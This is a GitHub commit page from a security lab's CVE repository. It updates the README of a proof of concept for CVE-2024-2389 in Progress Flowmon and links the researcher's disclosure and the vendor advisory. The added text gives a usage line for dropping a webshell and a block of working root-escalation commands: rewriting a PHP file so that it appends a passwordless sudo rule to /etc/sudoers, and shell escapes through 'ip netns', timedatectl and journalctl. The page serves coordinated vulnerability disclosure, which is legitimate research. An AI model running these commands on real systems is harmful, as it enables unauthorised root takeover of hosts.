Skip to content

Commit

Permalink
Merge branch 'master' of github.com:RhinoSecurityLabs/CVEs
Browse files Browse the repository at this point in the history
  • Loading branch information
DaveYesland committed Apr 30, 2024
2 parents 40548fa + c8b5df5 commit 2a72b49
Show file tree
Hide file tree
Showing 2 changed files with 25 additions and 3 deletions.
27 changes: 25 additions & 2 deletions CVE-2024-2389/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -5,7 +5,7 @@
**Versions Affected:** Tested on v12.03.02
**Version Fixed:** 12.3.5/11.1.14
**Researcher:** Dave Yesland (https://x.com/daveysec)
**Disclosure Link:** https://rhinosecuritylabs.com/
**Disclosure Link:** https://rhinosecuritylabs.com/research/cve-2024-2389-in-progress-flowmon/
**NIST CVE Link:** https://nvd.nist.gov/vuln/detail/CVE-2024-2389
**Vendor Advisory:** https://support.kemptechnologies.com/hc/en-us/articles/24878235038733-CVE-2024-2389-Flowmon-critical-security-vulnerability

Expand All @@ -21,5 +21,28 @@ To write a simple webshell:
`python3 CVE-2024-2389 --web-shell TARGET`
Then visit TARGET/rce.php

A root shell can be obtained through several methods:
```
cp /var/www/shtml/index.php /tmp/index.php.bak;
echo '<?php system("echo \"ADMINS ALL=(ALL) NOPASSWD: ALL\" >> /etc/sudoers"); ?>' > /var/www/shtml/index.php;
sudo /usr/bin/php /var/www/shtml/index.php Cli\:AddNewSource s;
cp /tmp/index.php.bak /var/www/shtml/index.php;
# ip command:
sudo ip netns add foo
sudo ip netns exec foo /bin/ln -s /proc/1/ns/net /var/run/netns/bar
sudo ip netns exec bar /bin/bash
sudo ip netns delete foo
sudo ip netns delete bar
# Abusing the timedatectl command:
sudo timedatectl list-timezones
!/bin/bash
#Abusing journalctl
sudo journalctl
!/bin/bash
```

### Screenshot
![Alt-text that shows up on hover](poc_image.png)
![poc_image](https://github.com/RhinoSecurityLabs/CVEs/assets/41924355/56e95c42-3541-4768-862d-7d272db6ee8f)
1 change: 0 additions & 1 deletion CVE-2024-2389/poc_image.png

This file was deleted.

0 comments on commit 2a72b49

Please sign in to comment.